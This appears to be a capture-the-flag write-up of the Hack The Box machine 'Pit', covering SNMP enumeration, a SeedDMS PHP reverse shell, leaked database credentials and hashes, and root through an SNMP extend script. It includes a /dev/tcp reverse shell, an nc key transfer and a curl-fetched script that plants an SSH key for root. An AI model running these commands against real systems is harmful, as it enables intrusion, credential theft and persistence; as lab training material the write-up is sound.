Link: https://app.hackthebox.eu/machines/Pit

Enumeration

We have OpenSSH v8.0 on port 22, nginx 1.14.1 on port 80 and port 9090 confuses nmap, it suspects ssl zeus-admin.

nginx – port 80

By default, we can see some nice information:

Now we know:

• our OS is Red Hat Enterprise
• our working directory is /usr/share/nginx/html
• our nginx config is /etc/nginx/nginx.conf

I attempted to set this IP to pit.htb to see if we got anything different, but nothing changed.

Next, I grabbed an nginx wordlist to attempt to use in gobuster to help us find default nginx files, but it only returned 50x.html and index.html so not much help there.

From port 9090, we learned there is a record for dms-pit.htb, however attempting to access port 80 with this domain gives us a 403 forbidden.

Port 9090

Navigating to port 9090 nets us an immediate security risk:

I modified my /etc/hosts file to set this up. Upon refresh, and accepting the risk, we get a login page:

Inspecting the source code, I saw references of the name “cockpit”. A google search reveals this is an administration panel for CentOS / RHEL. More information can be found here.

I sent root/root to the form and inspected the request headers:

Host: dms-pit.htb:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Basic cm9vdDpyb290
X-Authorize: password
X-Superuser: any
Connection: keep-alive
Cookie: cockpit=deleted

The username and password I sent are passed via a base64 encoded string user:pass using Basic Authorization.
There are also X-Authorize and X-Superuser headers, which are custom headers used by the application.

I performed a nikto scan and a nuclei scan but neither returned anything useful.

I found the GitHub for the cockpit project and I found an issue for server-side request forgery that allows access to SSH. I’m not sure whether that will be useful to us or not because port 22 is open for us.

This is the main page with documentation.

Round 2: Further Enumeration

I got stuck here and checked out the HTB forums, which didn’t really help too much. A lot of people kept mentioning to “do the walk” which I am unsure what that refers to. Google search tells me it could either be firewalk or password walking.

I also did a UDP scan and came back with an open port for SNMP on port 161:

With this port, i searched “snmp walk” and received many more results. This must be what everyone is referring to.

The first thing I tried was the snmp-check command, which does not us some system info and also a list of running processes:

I found this guide that can help us enumerate the snmp.

SNMP Enumeration

One of the first things I checked from the guide is the community string, so we can see if it uses a default credential to read/write data:

In our case, snmp does use the community string of public.

I also went back through the process and got information on the ssh process:

1106                runnable            sshd                /usr/sbin/sshd      -D [email protected],[email protected],aes256-ctr,aes256-cbc,[email protected],aes128-ctr,aes128

I found another command for more info, but I kept getting errors. Further research showed this works:

$ sudo apt-get install snmp-mibs-downloader
$ snmpwalk -v2c -c public 10.129.181.114 NET-SNMP-EXTEND-MIB::nsExtendObjects
$ snmpwalk -v2c -c public 10.129.181.114 NET-SNMP-EXTEND-MIB::nsExtendOutputFull

This gives us a user of michelle:

We can also run it with .iso for a complete dump of everything. Examining this, we can find a directory:

iso.3.6.1.4.1.2021.9.1.2.2 = STRING: "/var/www/html/seeddms51x/seeddms"
iso.3.6.1.4.1.2021.9.1.3.1 = STRING: "/dev/mapper/cl-root"
iso.3.6.1.4.1.2021.9.1.3.2 = STRING: "/dev/mapper/cl-seeddms"

The web server that was on port 80 shows the files are in /usr/share… not the /var/www/html.
If we remove the port from our dms-pit.htb, we can actually access: http://dms-pit.htb/seeddms51x/seeddms!

SeedDMS

We come to a screen for login. From our smnp enumeration, we have a username of michelle. It turns out this is also the password and we can login!

We find a file for changelog with a comment saying our version of SeedDMS is 5.1.15, unfortunately it was upgraded past the version that has an RCE vulnerability.

Under the My Account > Users tab, we also see there is an admin and jack user account.

I went into michelles folder and uploaded a Simple PHP reverse shell. The document ID at the top says I am 29.

I also downloaded a copy of SeedDMS 5.1.15 from here. It appears that documents get stored in /seeddms51x/data/1048576/docid/1.php

So by replacing docid with 29, I get my PHP Shell!

But after so many minutes, it seems the document got wiped! I quickly re-added a document 30, and I found a settings in ../../../conf/settings.xml

Here’s what I found most interesting:

<authentication enableGuestLogin="false" enablePasswordForgotten="false" restricted="true" enableUserImage="false" disableSelfEdit="false" passwordStrength="0" passwordStrengthAlgorithm="simple" passwordExpiration="10" passwordHistory="0" loginFailure="0" autoLoginUser="0" quota="0" undelUserIds="" encryptionKey="cfecb42d13f2e1666cddde56991a2cbf" cookieLifetime="0" enableGuestAutoLogin="false" defaultAccessDocs="0">     

<database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false">     </database>

My file was deleted again so this time I used this for a reverse shell.

Now we need to access the DB:

mysql -u seeddms -p seeddms
Enter password: ied^ieY6xoquu

show tables;
Tables_in_seeddms
 tblACLs
 tblAttributeDefinitions
 tblCategory
 tblDocumentApproveLog
 tblDocumentApprovers
 tblDocumentAttributes
 tblDocumentCategory
 tblDocumentContent
 tblDocumentContentAttributes
 tblDocumentFiles
 tblDocumentLinks
 tblDocumentLocks
 tblDocumentReviewLog
 tblDocumentReviewers
 tblDocumentStatus
 tblDocumentStatusLog
 tblDocuments
 tblEvents
 tblFolderAttributes
 tblFolders
 tblGroupMembers
 tblGroups
 tblKeywordCategories
 tblKeywords
 tblMandatoryApprovers
 tblMandatoryReviewers
 tblNotify
 tblSessions
 tblUserImages
 tblUserPasswordHistory
 tblUserPasswordRequest
 tblUsers
 tblVersion
 tblWorkflowActions
 tblWorkflowDocumentContent
 tblWorkflowLog
 tblWorkflowMandatoryWorkflow
 tblWorkflowStates
 tblWorkflowTransitionGroups
 tblWorkflowTransitionUsers
 tblWorkflowTransitions
 tblWorkflows

The tblUsers looks interesting. I did a select * from tblUsers and the most releveant info is here:

login    pwd
admin    155dd275b4cb74bd1f80754b61148863
michelle 2345f10bb948c5665ef91f6773b3e455 -- michelle
jack     682d305fdaabc156430c4c6f6f5cc65d

I attempted cracking the admin / jack md5 hashes but got no where.

Next I tested using michelle as the username and ied^ieY6xoquu as the password for the service on port 9090, and we do get in! At the bottom left of the sidebar, we have a terminal and we can grab the user.txt.

Gaining Root

Now we need to gain root access.

I tried to generate ssh keys and use them for easier access:

$ ssh-keygen -t ed25519 -C "[email protected]"
$ cat ~/.ssh/id_ed25519.pub >> ~/.ssh/authorized_keys
$ nc 10.10.14.138 9999 < id_ed25519

On my machine I ran this to grab the file

$ nc -l -p 9999 > id_ed25519
$ ssh [email protected] -i id_ed25519
[email protected]: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).

But unfortunately it did not work. Let’s just see what else we can do from the web terminal on port 9090.

I setup a python web server on my Kali box and transferred over LinEnum.sh

curl http://10.10.14.138:8000/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh > results.txt

But I did not really find anything.

I look back at the snmpwalk output and we can see it seems to call /usr/bin/monitor:

It turns out this is a script!

So if we put a script in /usr/local/monitoring/ with the name prefixed with check and suffixed sh then it will run it! Then if we re-run the the snmp command we can see the results.

So I tried to run the following commands to get the flag:

# web terminal as michelle
$ echo "cat /root/root.txt" > /usr/local/monitoring/check1.sh

# on my machine
$ snmpwalk -m +MY-MIB -v2c -c public 10.129.181.114 nsExtendObjects
NET-SNMP-EXTEND-MIB::nsExtendCommand."monitoring" = STRING: /usr/bin/monitor
NET-SNMP-EXTEND-MIB::nsExtendArgs."monitoring" = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendInput."monitoring" = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."monitoring" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."monitoring" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."monitoring" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."monitoring" = INTEGER: permanent(4)
NET-SNMP-EXTEND-MIB::nsExtendStatus."monitoring" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."monitoring" = STRING: /usr/local/monitoring/check1.sh: line 1: /root/root.txt: Permission denied
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."monitoring" = STRING: /usr/local/monitoring/check1.sh: line 1: /root/root.txt: Permission denied

Interestingly, I even ran a whoami and it shows we are root, but it will not let us access anything in that /root directory. I also attempted with zsh -i >& /dev/tcp/10.10.14.138/4444 0>&1 which does get a connection and whoami shows root, yet it still does not let us read from that directory.

[root@pit]~# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:snmpd_t:s0

I’m guessing it is because of the context that is preventing us from doing so.

I think I was on the right track from before to do ssh keys. I think because I generated the keys on the victim, I cannot use them on my machine. So let’s generate some on my machine, then try to get them into the box.

ssh-keygen
Enter file in which...: pit

Now we have a pit and pit.pub in our current directory. We need to get these onto the server. I cat pit.pub first and then copied that into a script that contained:

echo "ssh-rsa ..." > /root/.ssh/authorized_keys

Now we just need to drop the file on the server.

# my machine
python3 -m "http.server"

# michelle's terminal
curl http://10.10.14.138/check1.sh > /usr/local/monitoring/check1.sh

# my machine
snmpwalk -m +MY-MIB -v2c -c public 10.129.181.114 nsExtendObjects

ssh [email protected] -i pit
[root@pit ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

We finally got root! And now it let’s grab that flag!

Conclusion

This machine was pretty difficult for me. Essentially because I had never dealt with snmpwalk (or snmp at all for that matter). So we I first ran the command I had no idea what I was looking at. I had to have a lot of assistance from the HTB forums where they kept mentioning “walk” and finally someone mentioned a “bin” that wasn’t a binary and I needed to “walk” again. That is how I discovered the /usr/bin/monitor and then found out it was a script that would allow us to executed bash scripts. Even when I did figure out we could do scripts, it took several different tries.

Only copying ssh keys seemed to work, trying to get a reverse shell or cat /root/root.txt did not work. Looking back, I’m wondering if it was because there was no SUID set:

So attempting to launch a binary, such as /bin/bash just made us fall back to not root which is why I kept getting permission denied. Fortunately just running the echo command seemed to work.

I definitely learned a lot of new tools and methods during this box!